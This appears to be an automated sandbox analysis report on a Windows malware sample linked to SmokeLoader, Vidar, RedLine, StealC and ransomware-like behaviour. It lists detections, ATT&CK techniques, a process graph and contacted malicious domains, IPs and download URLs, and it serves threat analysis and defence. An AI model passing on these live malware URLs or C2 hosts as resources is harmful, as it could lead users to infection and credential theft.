                          Source: Yara matchFile source: 30.2.E5F3.exe.400000.0.raw.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 30.2.E5F3.exe.400000.0.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 0000001E.00000002.3076038176.0000000000400000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
                          Source: Yara matchFile source: 0000001E.00000002.3077911202.0000000002100000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 0000001E.00000003.2735023730.00000000021D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: Process Memory Space: E5F3.exe PID: 3628, type: MEMORYSTR
                          Yara detected SmokeLoader
                          Source: Yara matchFile source: 00000004.00000002.2274024832.0000000004731000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 00000000.00000002.2042490053.0000000004841000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 00000004.00000002.2273984194.0000000004710000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 00000000.00000002.2042176202.0000000002E30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                          Yara detected Vidar stealer
                          Source: Yara matchFile source: Process Memory Space: build2.exe PID: 2576, type: MEMORYSTR
                          Yara detected zgRAT
                          Source: Yara matchFile source: 30.2.E5F3.exe.243cf16.2.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 30.2.E5F3.exe.4f30000.4.raw.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 30.2.E5F3.exe.5590000.6.raw.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 30.3.E5F3.exe.4baff08.1.raw.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 30.2.E5F3.exe.4f30ee8.5.raw.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 30.2.E5F3.exe.243cf16.2.raw.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 30.3.E5F3.exe.4baff08.1.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 30.2.E5F3.exe.4f30000.4.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 30.2.E5F3.exe.4f30ee8.5.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 30.2.E5F3.exe.5590000.6.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 0000001E.00000002.3102300746.0000000004F30000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 0000001E.00000002.3102651119.0000000005590000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

                          Mitre Att&ck Matrix

                          ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                          Gather Victim Identity Information1
                          Scripting                          		Valid Accounts221
                          Windows Management Instrumentation                          		1
                          Scripting                          		1
                          Exploitation for Privilege Escalation                          		1
                          Disable or Modify Tools                          		2
                          OS Credential Dumping                          		2
                          System Time Discovery                          		Remote Services12
                          Archive Collected Data                          		14
                          Ingress Tool Transfer                          		Exfiltration Over Other Network Medium2
                          Data Encrypted for Impact
                          CredentialsDomainsDefault Accounts2
                          Native API                          		1
                          DLL Side-Loading                          		1
                          DLL Side-Loading                          		111
                          Deobfuscate/Decode Files or Information                          		1
                          Credential API Hooking                          		1
                          Account Discovery                          		Remote Desktop Protocol3
                          Data from Local System                          		21
                          Encrypted Channel                          		Exfiltration Over BluetoothNetwork Denial of Service
                          Email AddressesDNS ServerDomain Accounts1
                          Exploitation for Client Execution                          		1
                          Scheduled Task/Job                          		513
                          Process Injection                          		3
                          Obfuscated Files or Information                          		1
                          Credentials in Registry                          		3
                          File and Directory Discovery                          		SMB/Windows Admin Shares1
                          Screen Capture                          		1
                          Non-Standard Port                          		Automated ExfiltrationData Encrypted for Impact
                          Employee NamesVirtual Private ServerLocal Accounts3
                          Command and Scripting Interpreter                          		221
                          Registry Run Keys / Startup Folder                          		1
                          Scheduled Task/Job                          		42
                          Software Packing                          		NTDS156
                          System Information Discovery                          		Distributed Component Object Model1
                          Credential API Hooking                          		4
                          Non-Application Layer Protocol                          		Traffic DuplicationData Destruction
                          Gather Victim Network InformationServerCloud Accounts1
                          Scheduled Task/Job                          		1
                          Services File Permissions Weakness                          		221
                          Registry Run Keys / Startup Folder                          		1
                          Timestomp                          		LSA Secrets6101
                          Security Software Discovery                          		SSH1
                          Clipboard Data                          		125
                          Application Layer Protocol                          		Scheduled TransferData Encrypted for Impact
                          Domain PropertiesBotnetReplication Through Removable Media1
                          PowerShell                          		RC Scripts1
                          Services File Permissions Weakness                          		1
                          DLL Side-Loading                          		Cached Domain Credentials371
                          Virtualization/Sandbox Evasion                          		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                          DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
                          File Deletion                          		DCSync3
                          Process Discovery                          		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                          Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job121
                          Masquerading                          		Proc Filesystem1
                          Application Window Discovery                          		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
                          Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt371
                          Virtualization/Sandbox Evasion                          		/etc/passwd and /etc/shadow1
                          System Owner/User Discovery                          		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
                          IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCron513
                          Process Injection                          		Network Sniffing1
                          System Network Configuration Discovery                          		Shared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement
                          Network Security AppliancesDomainsCompromise Software Dependencies and Development ToolsAppleScriptLaunchdLaunchd1
                          Hidden Files and Directories                          		Input CaptureSystem Network Connections DiscoverySoftware Deployment ToolsRemote Data StagingMail ProtocolsExfiltration Over Unencrypted Non-C2 ProtocolFirmware Corruption
                          Gather Victim Org InformationDNS ServerCompromise Software Supply ChainWindows Command ShellScheduled TaskScheduled Task1
                          Services File Permissions Weakness                          		KeyloggingProcess DiscoveryTaint Shared ContentScreen CaptureDNSExfiltration Over Physical MediumResource Hijacking

                          Behavior Graph

                          Hide Legend

                          Legend:

                          • Process
                          • Signature
                          • Created File
                          • DNS/IP Info
                          • Is Dropped
                          • Is Windows Process
                          • Number of created Registry Values
                          • Number of created Files
                          • Visual Basic
                          • Delphi
                          • Java
                          • .Net C# or VB.NET
                          • C, C++ or other language
                          • Is malicious
                          • Internet
                          behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1389422 Sample: KMPrEVaSfH.exe Startdate: 08/02/2024 Architecture: WINDOWS Score: 100 125 trad-einmyus.com 2->125 127 tmpfiles.org 2->127 129 18 other IPs or domains 2->129 163 Snort IDS alert for network traffic 2->163 165 Found malware configuration 2->165 167 Malicious sample detected (through community Yara rule) 2->167 169 27 other signatures 2->169 15 KMPrEVaSfH.exe 2->15         started        18 ubrawdb 2->18         started        20 EE23.exe 2->20         started        22 4 other processes 2->22 signatures3 process4 dnsIp5 221 Detected unpacking (changes PE section rights) 15->221 223 Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation)) 15->223 225 Maps a DLL or memory area into another process 15->225 25 explorer.exe 118 21 15->25 injected 227 Multi AV Scanner detection for dropped file 18->227 229 Checks if the current machine is a virtual machine (disk enumeration) 18->229 231 Creates a thread in another existing process (thread injection) 18->231 233 Antivirus detection for dropped file 20->233 235 Detected unpacking (overwrites its own PE header) 20->235 237 Machine Learning detection for dropped file 20->237 239 Injects a PE file into a foreign processes 20->239 30 EE23.exe 20->30         started        131 127.0.0.1 unknown unknown 22->131 241 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 22->241 32 WerFault.exe 2 22->32         started        34 WerFault.exe 22->34         started        36 WerFault.exe 22->36         started        signatures6 process7 dnsIp8 137 m2reg.ulm.ac.id 103.23.232.80, 49771, 80 UNLAM-AS-IDUniversitasLambungMangkuratID Indonesia 25->137 139 trad-einmyus.com 185.12.126.182, 49712, 49713, 49714 QWARTARU Russian Federation 25->139 141 7 other IPs or domains 25->141 101 C:\Users\user\AppData\Roaming\ubrawdb, PE32 25->101 dropped 103 C:\Users\user\AppData\Local\TempE23.exe, PE32 25->103 dropped 105 C:\Users\user\AppData\Local\Temp5F3.exe, PE32 25->105 dropped 107 6 other malicious files 25->107 dropped 211 System process connects to network (likely due to code injection or exploit) 25->211 213 Benign windows process drops PE files 25->213 215 Deletes itself after installation 25->215 217 Hides that the sample has been downloaded from the Internet (zone.identifier) 25->217 38 EE23.exe 25->38         started        41 BA7B.exe 25->41         started        45 E5F3.exe 25->45         started        47 5 other processes 25->47 file9 signatures10 process11 dnsIp12 179 Detected unpacking (changes PE section rights) 38->179 181 Detected unpacking (overwrites its own PE header) 38->181 199 3 other signatures 38->199 49 EE23.exe 38->49         started        143 mbappeportal.shop 104.21.25.142 CLOUDFLARENETUS United States 41->143 109 C:\Users\user\AppData\Roaming\svchost.exe, PE32 41->109 dropped 111 C:\Users\user\AppData\...\tmpA28E.tmp.bat, DOS 41->111 dropped 183 Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines) 41->183 201 3 other signatures 41->201 54 cmd.exe 41->54         started        145 193.233.132.32 FREE-NET-ASFREEnetEU Russian Federation 45->145 113 C:\Users\user\AppData\Roaming\...\qemu-ga.exe, PE32 45->113 dropped 185 Multi AV Scanner detection for dropped file 45->185 187 Found many strings related to Crypto-Wallets (likely being stolen) 45->187 189 Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines) 45->189 203 2 other signatures 45->203 147 secretionsuitcasenioise.shop 104.21.16.152 CLOUDFLARENETUS United States 47->147 149 liabilityarrangemenyit.shop 104.21.83.220 CLOUDFLARENETUS United States 47->149 151 3 other IPs or domains 47->151 191 Antivirus detection for dropped file 47->191 193 Overwrites code with unconditional jumps - possibly settings hooks in foreign process 47->193 195 Machine Learning detection for dropped file 47->195 197 LummaC encrypted strings found 47->197 56 WerFault.exe 21 47->56         started        58 EE23.exe 47->58         started        60 EE23.exe 47->60         started        62 2 other processes 47->62 file13 signatures14 process15 dnsIp16 123 api.2ip.ua 172.67.139.220, 443, 49732, 49744 CLOUDFLARENETUS United States 49->123 95 C:\Users\user\AppData\Local\...E23.exe, PE32 49->95 dropped 171 Creates multiple autostart registry keys 49->171 64 EE23.exe 49->64         started        67 icacls.exe 49->67         started        69 svchost.exe 54->69         started        72 conhost.exe 54->72         started        74 timeout.exe 54->74         started        file17 signatures18 process19 file20 157 Injects a PE file into a foreign processes 64->157 76 EE23.exe 64->76         started        97 C:\Windows\Temp\chpkcaqm.inf, Windows 69->97 dropped 159 System process connects to network (likely due to code injection or exploit) 69->159 161 Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines) 69->161 81 cmstp.exe 69->81         started        signatures21 process22 dnsIp23 153 habrafa.com 210.182.29.70, 80 LGDACOMLGDACOMCorporationKR Korea Republic of 76->153 155 211.119.84.111 LGDACOMLGDACOMCorporationKR Korea Republic of 76->155 115 C:\Users\user\AppData\Local\...\build2.exe, PE32 76->115 dropped 117 C:\Users\user\AppData\Local\...\build2[1].exe, PE32 76->117 dropped 119 C:\_README.txt, ASCII 76->119 dropped 121 6 other malicious files 76->121 dropped 219 Modifies existing user documents (likely ransomware behavior) 76->219 83 build2.exe 76->83         started        file24 signatures25 process26 signatures27 173 Multi AV Scanner detection for dropped file 83->173 175 Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines) 83->175 177 Injects a PE file into a foreign processes 83->177 86 build2.exe 83->86         started        process28 dnsIp29 133 t.me 149.154.167.99, 443, 49764 TELEGRAMRU United Kingdom 86->133 135 88.198.108.242, 49767, 49770, 49773 HETZNER-ASDE Germany 86->135 99 C:\Users\user\AppData\Local\...\sqlt[1].dll, PE32 86->99 dropped 205 Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc) 86->205 207 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 86->207 209 Tries to harvest and steal ftp login credentials 86->209 91 cmd.exe 86->91         started        file30 signatures31 process32 process33 93 conhost.exe 91->93         started       

                          Screenshots

                          Thumbnails

                          This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                          windows-stand

                          Antivirus, Machine Learning and Genetic Malware Detection

                          Initial Sample

                          SourceDetectionScannerLabelLink
                          KMPrEVaSfH.exe29%ReversingLabs
                          KMPrEVaSfH.exe100%AviraHEUR/AGEN.1312575
                          KMPrEVaSfH.exe100%Joe Sandbox ML

                          Dropped Files

                          SourceDetectionScannerLabelLink
                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\build2[1].exe100%AviraHEUR/AGEN.1312686
                          C:\Users\user\AppData\Local\Temp\3EE1.exe100%AviraHEUR/AGEN.1304546
                          C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe100%AviraHEUR/AGEN.1312575
                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\build2[1].exe100%Joe Sandbox ML
                          C:\Users\user\AppData\Local\Temp\3EE1.exe100%Joe Sandbox ML
                          C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe100%Joe Sandbox ML
                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\sqlt[1].dll0%ReversingLabs
                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\build2[1].exe73%ReversingLabsWin32.Trojan.StealC
                          C:\Users\user\AppData\Local\Temp\84F5.exe67%ReversingLabsWin32.Trojan.Smokeloader
                          C:\Users\user\AppData\Local\Temp\BDBB.exe29%ReversingLabs
                          C:\Users\user\AppData\Local\Temp\E5F3.exe88%ReversingLabsWin32.Spyware.RedLine
                          C:\Users\user\AppData\Local\e67ac349-4489-4d00-b370-e055cce7f968\build2.exe73%ReversingLabsWin32.Trojan.StealC
                          C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exe35%ReversingLabsByteCode-MSIL.Spyware.RedLine
                          C:\Users\user\AppData\Roaming\ubrawdb29%ReversingLabs

                          Unpacked PE Files

                          ⊘No Antivirus matches

                          Domains

                          ⊘No Antivirus matches

                          URLs

                          SourceDetectionScannerLabelLink
                          https://api.ip.sb/ip0%URL Reputationsafe
                          http://brusuax.com/dl/build2.exe0%URL Reputationsafe
                          http://passport.net/tb0%URL Reputationsafe
                          https://word.office.comon0%URL Reputationsafe
                          http://ocsp.sectigo.com00%URL Reputationsafe
                          http://schemas.micro0%URL Reputationsafe
                          http://habrafa.com/files/1/build3.exe.100%Avira URL Cloudmalware
                          https://discord.com/api/v9/users/0%Avira URL Cloudsafe
                          http://habrafa.com/files/1/build3.exeY100%Avira URL Cloudmalware
                          http://tempuri.org/0%Avira URL Cloudsafe
                          http://tempuri.org/RestAPI/TreeObject2Response0%Avira URL Cloudsafe
                          http://habrafa.com/files/1/build3.exex100%Avira URL Cloudmalware
                          triangleseasonbenchwj.shop100%Avira URL Cloudmalware
                          http://crl.ver)0%Avira URL Cloudsafe
                          http://galandskiyher5.com/downloads/toolspub1.exe100%Avira URL Cloudmalware
                          https://gemcreedarticulateod.shop:443/api100%Avira URL Cloudphishing
                          http://habrafa.com/test1/get.php100%Avira URL Cloudmalware
                          http://Passport.NET/tb_0%Avira URL Cloudsafe
                          http://trade-inmyus.com/index.php0%Avira URL Cloudsafe
                          http://Passport.NET/tbpose0%Avira URL Cloudsafe
                          exitassumebangpastcone.shop0%Avira URL Cloudsafe
                          http://habrafa.com/files/1/build3.exerun2b-100%Avira URL Cloudmalware
                          http://Passport.NET/STS&lt;/ds:KeyName&gt;&lt;/ds:KeyInfo&gt;0%Avira URL Cloudsafe
                          sofahuntingslidedine.shop100%Avira URL Cloudmalware
                          https://secretionsuitcasenioise.shop/api1100%Avira URL Cloudmalware
                          http://habrafa.com/test1/get.php?pid=903E7F2100%Avira URL Cloudmalware
                          https://88.198.108.242:9000/H10%Avira URL Cloudsafe
                          https://tmpfiles.org/dl/4175538/sig.exe0%Avira URL Cloudsafe
                          http://purl.oeny40%Avira URL Cloudsafe
                          https://gemcreedarticulateod.shop/9100%Avira URL Cloudmalware
                          http://tempuri.org/RestAPI/TreeObject2ResponseD0%Avira URL Cloudsafe
                          http://mbappeportal.shop/get/65c4e505302872e0f3bbb5780%Avira URL Cloudsafe
                          http://tempuri.org/D0%Avira URL Cloudsafe
                          http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error0%Avira URL Cloudsafe
                          http://habrafa.com/files/1/build3.exe$run100%Avira URL Cloudmalware
                          https://claimconcessionrebe.shop/:100%Avira URL Cloudmalware
                          http://Passport.NET/STS0%Avira URL Cloudsafe

                          Domains and IPs

                          Contacted Domains

                          NameIPActiveMaliciousAntivirus DetectionReputation
                          resergvearyinitiani.shop
                          		104.21.94.2
                          		truetrue
                            		unknown
                            m2reg.ulm.ac.id
                            		103.23.232.80
                            		truetrue
                              		unknown
                              yip.su
                              		172.67.169.89
                              		truefalse
                                		high
                                speedmouse.cz
                                		62.109.150.87
                                		truetrue
                                  		unknown
                                  t.me
                                  		149.154.167.99
                                  		truefalse
                                    		high
                                    habrafa.com
                                    		210.182.29.70
                                    		truetrue
                                      		unknown
                                      galandskiyher5.com
                                      		185.12.126.182
                                      		truetrue
                                        		unknown
                                        receitasdepascoa.com
                                        		154.7.253.53
                                        		truetrue
                                          		unknown
                                          brusuax.com
                                          		196.188.169.138
                                          		truetrue
                                            		unknown
                                            mahta-netwotk.click
                                            		46.175.144.56
                                            		truetrue
                                              		unknown
                                              liabilityarrangemenyit.shop
                                              		104.21.83.220
                                              		truetrue
                                                		unknown
                                                mbappeportal.shop
                                                		104.21.25.142
                                                		truetrue
                                                  		unknown
                                                  tmpfiles.org
                                                  		104.21.21.16
                                                  		truetrue
                                                    		unknown
                                                    secretionsuitcasenioise.shop
                                                    		104.21.16.152
                                                    		truetrue
                                                      		unknown
                                                      gemcreedarticulateod.shop
                                                      		172.67.152.52
                                                      		truetrue
                                                        		unknown
                                                        api.2ip.ua
                                                        		172.67.139.220
                                                        		truefalse
                                                          		high
                                                          transfer.sh
                                                          		144.76.136.153
                                                          		truefalse
                                                            		high
                                                            trad-einmyus.com
                                                            		185.12.126.182
                                                            		truetrue
                                                              		unknown
                                                              claimconcessionrebe.shop
                                                              		172.67.199.120
                                                              		truetrue
                                                                		unknown
                                                                pay.ayazprak.com
                                                                		unknown
                                                                		unknowntrue
                                                                  		unknown

                                                                  Contacted URLs

                                                                  NameMaliciousAntivirus DetectionReputation
                                                                  http://trade-inmyus.com/index.phptrue
                                                                  • Avira URL Cloud: safe
                                                                  		unknown
                                                                  http://galandskiyher5.com/downloads/toolspub1.exetrue
                                                                  • Avira URL Cloud: malware
                                                                  		unknown
                                                                  http://habrafa.com/test1/get.phptrue
                                                                  • Avira URL Cloud: malware
                                                                  		unknown
                                                                  https://t.me/newagevfalse
                                                                    		high
                                                                    triangleseasonbenchwj.shoptrue
                                                                    • Avira URL Cloud: malware
                                                                    		unknown
                                                                    http://brusuax.com/dl/build2.exetrue
                                                                    • URL Reputation: safe
                                                                    		unknown
                                                                    exitassumebangpastcone.shoptrue
                                                                    • Avira URL Cloud: safe
                                                                    		unknown
                                                                    https://tmpfiles.org/dl/4175538/sig.exetrue
                                                                    • Avira URL Cloud: safe
                                                                    		unknown
                                                                    sofahuntingslidedine.shoptrue
                                                                    • Avira URL Cloud: malware
                                                                    		unknown
                                                                    http://mbappeportal.shop/get/65c4e505302872e0f3bbb578true
                                                                    • Avira URL Cloud: safe
                                                                    		unknown

                                                                    URLs from Memory and Binaries

                                                                    NameSourceMaliciousAntivirus DetectionReputation
                                                                    http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#TextE5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                      		high
                                                                      http://schemas.xmlsoap.org/ws/2005/02/sc/sctE5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                        		high
                                                                        https://duckduckgo.com/chrome_newtabE5F3.exe, 0000001E.00000003.2993527305.0000000002D9A000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3086793780.000000000383E000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000003.2989615441.0000000003DA0000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000003.2989615441.0000000003BDA000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                          		high
                                                                          http://tempuri.org/RestAPI/TreeObject2ResponseE5F3.exe, 0000001E.00000002.3081910354.00000000026C1000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                          • Avira URL Cloud: safe
                                                                          		unknown
                                                                          http://schemas.xmlsoap.org/ws/2004/04/security/sc/dkE5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                            		high
                                                                            https://duckduckgo.com/ac/?q=E5F3.exe, 0000001E.00000003.2993527305.0000000002D9A000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000003.2989615441.0000000003D84000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3086793780.000000000383E000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000003.2993527305.0000000002E5B000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000003.2989615441.0000000003C2B000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000003.2989615441.0000000003DA0000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000003.2989615441.0000000003BDA000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                              		high
                                                                              http://habrafa.com/files/1/build3.exe.EE23.exe, 00000012.00000002.4439698845.00000000030B0000.00000004.00000020.00020000.00000000.sdmptrue
                                                                              • Avira URL Cloud: malware
                                                                              		unknown
                                                                              http://tempuri.org/E5F3.exe, 0000001E.00000002.3081910354.00000000026C1000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                              • Avira URL Cloud: safe
                                                                              		unknown
                                                                              http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1E5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                		high
                                                                                http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_WrapE5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                  		high
                                                                                  http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLIDE5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                    		high
                                                                                    http://Passport.NET/tbposesvchost.exe, 00000009.00000002.4441005756.0000018DC8860000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                    • Avira URL Cloud: safe
                                                                                    		unknown
                                                                                    http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecretE5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                      		high
                                                                                      http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issuesvchost.exe, 00000009.00000003.2757569541.0000018DC816D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4439435141.0000018DC816E000.00000004.00000020.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                        		high
                                                                                        http://crl.godaddy.com/gdig2s5-6.crl078E8.exe.2.drfalse
                                                                                          		high
                                                                                          http://schemas.xmlsoap.org/ws/2004/10/wsat/AbortedE5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                            		high
                                                                                            http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequenceE5F3.exe, 0000001E.00000002.3081910354.00000000026C1000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                              		high
                                                                                              http://habrafa.com/files/1/build3.exeYEE23.exe, 00000012.00000002.4439698845.00000000030B0000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                              • Avira URL Cloud: malware
                                                                                              		unknown
                                                                                              https://discord.com/api/v9/users/E5F3.exe, 0000001E.00000002.3081910354.00000000026C1000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                              • Avira URL Cloud: safe
                                                                                              		unknown
                                                                                              http://schemas.xmlsoap.org/ws/2004/10/wsat/faultE5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                		high
                                                                                                http://schemas.xmlsoap.org/ws/2004/10/wsatE5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                  		high
                                                                                                  https://login.microsoftonline.com/ppsecure/EnumerateDevices.srfsvchost.exe, 00000009.00000003.2310981764.0000018DC8163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4435436220.0000018DC7840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4435522408.0000018DC785E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310873866.0000018DC814D000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                    		high
                                                                                                    http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameE5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmp, BA7B.exe, 00000025.00000002.2853073711.00000000030C6000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2925602199.00000000032E5000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                      		high
                                                                                                      http://www.reddit.com/EE23.exe, 00000012.00000003.2721314999.00000000031B0000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                        		high
                                                                                                        http://Passport.NET/tb_svchost.exe, 00000009.00000002.4440863702.0000018DC8842000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                        • Avira URL Cloud: safe
                                                                                                        		unknown
                                                                                                        http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/RenewE5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                          		high
                                                                                                          http://schemas.xmlsoap.org/ws/2004/10/wscoor/RegisterE5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                            		high
                                                                                                            http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKeyE5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                              		high
                                                                                                              http://www.autoitscript.com/autoit3/Jexplorer.exe, 00000002.00000000.2027123597.000000000C81C000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                		high
                                                                                                                https://api.ip.sb/ipE5F3.exe, 0000001E.00000002.3081910354.00000000026C1000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                • URL Reputation: safe
                                                                                                                		unknown
                                                                                                                https://stackoverflow.com/q/14436606/233543EE1.exe, 00000024.00000002.3146427201.0000000004EB0000.00000004.08000000.00040000.00000000.sdmp, 3EE1.exe, 00000024.00000002.3118264047.00000000026F8000.00000004.00000800.00020000.00000000.sdmp, 3EE1.exe, 00000024.00000002.3118264047.0000000002601000.00000004.00000800.00020000.00000000.sdmp, 3EE1.exe, 00000024.00000002.3122886847.00000000036F3000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                  		high
                                                                                                                  http://schemas.xmlsoap.org/ws/2004/09/policy=80502svchost.exe, 00000009.00000003.2757569541.0000018DC816D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4439435141.0000018DC816E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                    		high
                                                                                                                    https://gemcreedarticulateod.shop:443/api84F5.exe, 0000001D.00000003.2693720803.0000000001968000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                    • Avira URL Cloud: phishing
                                                                                                                    		unknown
                                                                                                                    http://certs.godaddy.com/repository/130178E8.exe.2.drfalse
                                                                                                                      		high
                                                                                                                      http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/CancelE5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                        		high
